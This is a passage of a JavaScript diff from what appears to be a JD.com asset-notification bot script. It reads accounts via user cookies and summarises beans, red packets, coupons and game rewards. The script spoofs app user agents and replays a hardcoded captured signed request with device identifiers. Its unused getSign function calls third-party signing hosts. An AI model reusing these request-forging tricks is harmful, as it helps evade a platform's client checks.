($.treeState === 0) { + TempBaipiao += `【东东农场】水果领取后未重新种植!\n`; + + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + + } else if ($.treeState === 1) { + ReturnMessage += `【东东农场】${$.JdFarmProdName}种植中...\n`; + } else { + TempBaipiao += `【东东农场】状态异常!\n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + //ReturnMessage += `【东东农场】${$.JdFarmProdName}状态异常${$.treeState}...\n`; + } + } + } + if ($.jxFactoryInfo) { + ReturnMessage += `【京喜工厂】${$.jxFactoryInfo}\n` + } + if ($.ddFactoryInfo) { + ReturnMessage += `【东东工厂】${$.ddFactoryInfo}\n` + } + if ($.DdFactoryReceive) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + TempBaipiao += `【东东工厂】${$.ddFactoryInfo} 可以兑换了!\n`; + } + if ($.jxFactoryReceive) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + + TempBaipiao += `【京喜工厂】${$.jxFactoryReceive} 可以兑换了!\n`; + + } + + if ($.PigPet) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + + TempBaipiao += `【金融养猪】${$.PigPet} 可以兑换了!\n`; + + } + if(EnableJDPet){ + llPetError=false; + var response =""; + response = await PetRequest('energyCollect'); + if(llPetError) + response = await PetRequest('energyCollect'); + + llPetError=false; + var initPetTownRes = ""; + initPetTownRes = await PetRequest('initPetTown'); + if(llPetError) + initPetTownRes = await PetRequest('initPetTown'); + + if(!llPetError && initPetTownRes){ + if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus === 0) { + ReturnMessage += `【东东萌宠】活动未开启!\n`; + } else if ($.petInfo.petStatus === 5) { + ReturnMessage += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}已可领取!\n`; + TempBaipiao += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}已可领取!\n`; + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + } else if ($.petInfo.petStatus === 6) { + TempBaipiao += `【东东萌宠】未选择物品! \n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + } else if (response.resultCode === '0') { + ReturnMessage += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}`; + ReturnMessage += `(${(response.result.medalPercent).toFixed(0)}%,${response.result.medalNum}/${response.result.medalNum+response.result.needCollectMedalNum}块)\n`; + } else if (!$.petInfo.goodsInfo) { + ReturnMessage += `【东东萌宠】暂未选购新的商品!\n`; + TempBaipiao += `【东东萌宠】暂未选购新的商品! \n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + + } + } + } + } + + if(strGuoqi){ + ReturnMessage += `💸💸💸临期京豆明细💸💸💸\n`; + ReturnMessage += `${strGuoqi}`; + } + ReturnMessage += `🧧🧧🧧红包明细🧧🧧🧧\n`; + ReturnMessage += `${$.message}`; + strsummary +=`${$.message}`; + + if($.YunFeiQuan){ + var strTempYF="【免运费券】"+$.YunFeiQuan+"张"; + if($.YunFeiQuanEndTime) + strTempYF+="(有效期至"+$.YunFeiQuanEndTime+")"; + strTempYF+="\n"; + ReturnMessage +=strTempYF + strsummary +=strTempYF; + } + if($.YunFeiQuan2){ + var strTempYF2="【免运费券】"+$.YunFeiQuan2+"张"; + if($.YunFeiQuanEndTime2) + strTempYF+="(有效期至"+$.YunFeiQuanEndTime2+")"; + strTempYF2+="\n"; + ReturnMessage +=strTempYF2 + strsummary +=strTempYF2; + } + + if (userIndex2 != -1) { + allMessageGp2 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex3 != -1) { + allMessageGp3 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex4 != -1) { + allMessageGp4 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allMessage += ReturnMessageTitle+ReturnMessage + `\n`; + } + + console.log(`${ReturnMessageTitle+ReturnMessage}`); + + if ($.isNode() && WP_APP_TOKEN_ONE) { + var strTitle="京东资产变动"; + ReturnMessage=`【账号名称】${$.nickName || $.UserName}\n`+ReturnMessage; + + if (TempBaipiao) { + strsummary=strSubNotify+TempBaipiao +strsummary; + TempBaipiao = `【⏰商品白嫖活动提醒⏰】\n` + TempBaipiao; + ReturnMessage = TempBaipiao + `\n` + ReturnMessage; + } else { + strsummary = strSubNotify + strsummary; + } + + ReturnMessage += RemainMessage; + + if(strAllNotify) + ReturnMessage=strAllNotify+`\n`+ReturnMessage; + + await notify.sendNotifybyWxPucher(strTitle, `${ReturnMessage}`, `${$.UserName}`,'\n\n本通知 By ccwav Mod',strsummary); + } + + //$.msg($.name, '', ReturnMessage , {"open-url": "https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean"}); +} +async function bean() { + if (EnableCheckBean) { + // console.log(`北京时间零点时间戳:${parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000}`); + // console.log(`北京时间2020-10-28 06:16:05::${new Date("2020/10/28 06:16:05+08:00").getTime()}`) + // 不管哪个时区。得到都是当前时刻北京时间的时间戳 new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 + + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + let page = 1, + t = 0, + yesterdayArr = [], + todayArr = []; + do { + let response = await getJingBeanBalanceDetail(page); + await $.wait(1000); + // console.log(`第${page}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + page++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes("物流") && !item['eventMassage'].includes('扣赠'))) { + todayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes("物流") && !item['eventMassage'].includes('扣赠'))) { + //昨日的 + yesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + //前天的 + t = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + t = 1; + } + } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + t = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + t = 1; + } + } while (t === 0); + for (let item of yesterdayArr) { + if (Number(item.amount) > 0) { + $.incomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.expenseBean += Number(item.amount); + } + } + for (let item of todayArr) { + if (Number(item.amount) > 0) { + $.todayIncomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.todayOutcomeBean += Number(item.amount); + } + } + $.todayOutcomeBean = -$.todayOutcomeBean; + $.expenseBean = -$.expenseBean; + + decExBean = 0; + if (EnableOverBean) { + await queryexpirejingdou(); //过期京豆 + if (decExBean && doExJxBeans == "true") { + var jxbeans = await exchangejxbeans(decExBean); + if (jxbeans) { + $.beanChangeXi = decExBean; + console.log(`已为您将` + decExBean + `临期京豆转换成喜豆!`); + strGuoqi += `已为您将` + decExBean + `临期京豆转换成喜豆!\n`; + } + } + } + } + await redPacket(); + if (EnableChaQuan) + await getCoupon(); +} + +async function Monthbean() { + let time = new Date(); + let year = time.getFullYear(); + let month = parseInt(time.getMonth()); //取上个月 + if (month == 0) { + //一月份,取去年12月,所以月份=12,年份减1 + month = 12; + year -= 1; + } + + //开始时间 时间戳 + let start = new Date(year + "-" + month + "-01 00:00:00").getTime(); + console.log(`计算月京豆起始日期:` + GetDateTime(new Date(year + "-" + month + "-01 00:00:00"))); + + //结束时间 时间戳 + if (month == 12) { + //取去年12月,进1个月,所以月份=1,年份加1 + month = 1; + year += 1; + } + let end = new Date(year + "-" + (month + 1) + "-01 00:00:00").getTime(); + console.log(`计算月京豆结束日期:` + GetDateTime(new Date(year + "-" + (month + 1) + "-01 00:00:00"))); + + let allpage = 1, + allt = 0, + allyesterdayArr = []; + do { + let response = await getJingBeanBalanceDetail(allpage); + await $.wait(1000); + // console.log(`第${allpage}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + allpage++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (start <= new Date(date).getTime() && new Date(date).getTime() < end) { + //日期区间内的京豆记录 + allyesterdayArr.push(item); + } else if (start > new Date(date).getTime()) { + //前天的 + allt = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + allt = 1; + } + } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + allt = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + allt = 1; + } + } while (allt === 0); + + for (let item of allyesterdayArr) { + if (Number(item.amount) > 0) { + $.allincomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.allexpenseBean += Number(item.amount); + } + } + +} + +async function jdJxMCinfo(){ + if (EnableJxMC) { + llgeterror = false; + await requestAlgo(); + if (llgeterror) { + console.log(`等待10秒后再次尝试...`) + await $.wait(10 * 1000); + await requestAlgo(); + } + await JxmcGetRequest(); + } + return; +} + +async function jdCash() { + if (!EnableCash) + return; + let functionId = "cash_homePage"; + /* let body = {}; + console.log(`正在获取领现金任务签名...`); + isSignError = false; + let sign = await getSign(functionId, body); + if (isSignError) { + console.log(`领现金任务签名获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + sign =await getSign(functionId, body); + } + if (isSignError) { + console.log(`领现金任务签名获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + sign = await getSign(functionId, body); + } + if (!isSignError) { + console.log(`领现金任务签名获取成功...`) + } else { + console.log(`领现金任务签名获取失败...`) + $.jdCash = 0; + return + } */ + let sign = `body=%7B%7D&build=167968&client=apple&clientVersion=10.4.0&d_brand=apple&d_model=iPhone13%2C3&ef=1&eid=eidI25488122a6s9Uqq6qodtQx6rgQhFlHkaE1KqvCRbzRnPZgP/93P%2BzfeY8nyrCw1FMzlQ1pE4X9JdmFEYKWdd1VxutadX0iJ6xedL%2BVBrSHCeDGV1&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22CJO3CMeyDJCy%22%2C%22osVersion%22%3A%22CJUkDK%3D%3D%22%2C%22openudid%22%3A%22CJSmCWU0DNYnYtS0DtGmCJY0YJcmDwCmYJC0DNHwZNc5ZQU2DJc3Zq%3D%3D%22%2C%22area%22%3A%22CJZpCJCmC180ENcnCv80ENc1EK%3D%3D%22%2C%22uuid%22%3A%22aQf1ZRdxb2r4ovZ1EJZhcxYlVNZSZz09%22%7D%2C%22ts%22%3A1648428189%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%2C%22pvcStu%22%3A%221%22%7D&isBackground=N&joycious=104&lang=zh_CN&networkType=3g&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=11&sign=98c0ea91318ef1313786d86d832f1d4d&st=1648428208392&sv=101&uemps=0-0&uts=0f31TVRjBSv7E8yLFU2g86XnPdLdKKyuazYDek9RnAdkKCbH50GbhlCSab3I2jwM04d75h5qDPiLMTl0I3dvlb3OFGnqX9NrfHUwDOpTEaxACTwWl6n//EOFSpqtKDhg%2BvlR1wAh0RSZ3J87iAf36Ce6nonmQvQAva7GoJM9Nbtdah0dgzXboUL2m5YqrJ1hWoxhCecLcrUWWbHTyAY3Rw%3D%3D` + return new Promise((resolve) => { + $.post(apptaskUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`jdCash API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data.result) { + $.jdCash = data.data.result.totalMoney || 0; + return + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +async function CheckEcard() { + if (!EnableCheckEcard) + return; + var balEcard = 0; + var body = "pageNo=1&queryType=1&cardType=-1&pageSize=20"; + var stroption = { + url: 'https://mygiftcard.jd.com/giftcard/queryGiftCardItem/app?source=JDAP', + body, + headers: { + "accept": "application/json, text/plain, */*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh-Hans;q=0.9", + "content-length": "44", + "content-type": "application/x-www-form-urlencoded", + "cookie": cookie, + "origin": "https://mygiftcard.jd.com", + "referer": "https://mygiftcard.jd.com/giftcardForM.html?source=JDAP&sid=9f55a224c8286baa2fe3a7545bbd411w&un_area=16_1303_48712_48758", + "user-agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + }, + timeout: 10000 + } + return new Promise((resolve) => { + $.post(stroption, async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`jdCash API请求失败,请检查网路重试`) + } else { + //console.log(data); + data = JSON.parse(data); + let useable = data.couponVOList; + if (useable) { + for (let k = 0; k < useable.length; k++) { + if(useable[k].balance>0) + balEcard += useable[k].balance; + } + if(balEcard) + $.ECardinfo = '共' + useable.length + '张E卡,合计' + parseFloat(balEcard).toFixed(2) + '元'; + } + + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +function apptaskUrl(functionId = "", body = "") { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': '', + 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } +} +function getSign(functionId, body) { + return new Promise(async resolve => { + let data = { + functionId, + body: JSON.stringify(body), + "client":"apple", + "clientVersion":"10.3.0" + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Cookie: cookie, + "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000 + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + $.levelName = data.data.userInfo.baseInfo.levelName; + $.isPlusVip = data.data.userInfo.isPlusVip; + + } + if (data['retcode'] === '0' && data.data && data.data['assetInfo']) { + if ($.beanCount == 0) + $.beanCount = data.data && data.data['assetInfo']['beanNum']; + } else { + $.errorMsg = `数据异常`; + } + } else { + $.log('京东服务器返回空数据,将无法获取等级及VIP信息'); + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} +function TotalBean2() { + return new Promise(async(resolve) => { + const options = { + url: `https://wxapp.m.jd.com/kwxhome/myJd/home.json?&useGuideModule=0&bizId=&brandId=&fromType=wxapp×tamp=${Date.now()}`, + headers: { + Cookie: cookie, + 'content-type': `application/x-www-form-urlencoded`, + Connection: `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + Referer: `https://servicewechat.com/wxa5bf5ee667d91626/161/page-frame.html`, + Host: `wxapp.m.jd.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.10(0x18000a2a) NetType/WIFI Language/zh_CN`, + }, + timeout: 10000 + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (!data.user) { + return; + } + const userInfo = data.user; + if (userInfo) { + if (!$.nickName) + $.nickName = userInfo.petName; + if ($.beanCount == 0) { + $.beanCount = userInfo.jingBean; + } + $.JingXiang = userInfo.uclass; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }); + }); +} + +function isLoginByX1a0He() { + return new Promise((resolve) => { + const options = { + url: 'https://plogin.m.jd.com/cgi-bin/ml/islogin', + headers: { + "Cookie": cookie, + "referer": "https://h5.m.jd.com/", + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000 + } + $.get(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.islogin === "1") { + console.log(`使用X1a0He写的接口加强检测: Cookie有效\n`) + } else if (data.islogin === "0") { + $.isLogin = false; + console.log(`使用X1a0He写的接口加强检测: Cookie无效\n`) + } else { + console.log(`使用X1a0He写的接口加强检测: 未知返回,不作变更...\n`) + $.error = `${$.nickName} :` + `使用X1a0He写的接口加强检测: 未知返回...\n` + } + } + } catch (e) { + console.log(e); + } + finally { + resolve(); + } + }); + }); +} + +function getJingBeanBalanceDetail(page) { + return new Promise(async resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail`, + "body": `body=${escape(JSON.stringify({"pageSize": "20", "page": page.toString()}))}&appid=ld`, + "headers": { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getJingBeanBalanceDetail API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + // console.log(data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} +function queryexpirejingdou() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "wq.jd.com", + "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryexpirejingdou API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data.slice(23, -13)); + if (data.ret === 0) { + data['expirejingdou'].map(item => { + if(item['expireamount']!=0){ + strGuoqi+=`【${timeFormat(item['time'] * 1000)}】过期${item['expireamount']}豆\n`; + if (decExBean==0) + decExBean=item['expireamount']; + } + }) + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} +function exchangejxbeans(o) { + return new Promise(async resolve => { + var UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + var JXUA = `jdpingou;iPhone;4.13.0;14.4.2;${UUID};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`; + const options = { + "url": `https://m.jingxi.com/deal/masset/jd2xd?use=${o}&canpintuan=&setdefcoupon=0&r=${Math.random()}&sceneval=2`, + "headers": { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Cookie": cookie, + "Connection": "keep-alive", + "User-Agent": JXUA, + "Accept-Language": "zh-cn", + "Referer": "https://m.jingxi.com/deal/confirmorder/main", + "Accept-Encoding": "gzip, deflate, br", + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(err); + } else { + data = JSON.parse(data); + if (data && data.data && JSON.stringify(data.data) === '{}') { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data || {}); + } + }) + }) +} +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { + return x.replace(/[xy]/g, function (x) { + var r = 16 * Math.random() | 0, + n = "x" == x ? r : 3 & r | 8; + return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), + uuid + }) +} + +function redPacket() { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_=${+new Date()}&sceneval=2&g_login_type=1&g_ty=ls`, + "headers": { + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/my/redpacket.shtml?newPg=App&jxsid=16156262265849285961', + 'Accept-Encoding': 'gzip, deflate, br', + "Cookie": cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`redPacket API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data).data; + $.jxRed = 0, + $.jsRed = 0, + $.jdRed = 0, + $.jdhRed = 0, + $.jxRedExpire = 0, + $.jsRedExpire = 0, + $.jdRedExpire = 0, + $.jdhRedExpire = 0; + let t = new Date(); + t.setDate(t.getDate() + 1); + t.setHours(0, 0, 0, 0); + t = parseInt((t - 1) / 1000); + for (let vo of data.useRedInfo.redList || []) { + if (vo.orgLimitStr && vo.orgLimitStr.includes("京喜")) { + $.jxRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jxRedExpire += parseFloat(vo.balance) + } + } else if (vo.activityName.includes("极速版")) { + $.jsRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jsRedExpire += parseFloat(vo.balance) + } + } else if (vo.orgLimitStr && vo.orgLimitStr.includes("京东健康")) { + $.jdhRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdhRedExpire += parseFloat(vo.balance) + } + } else { + 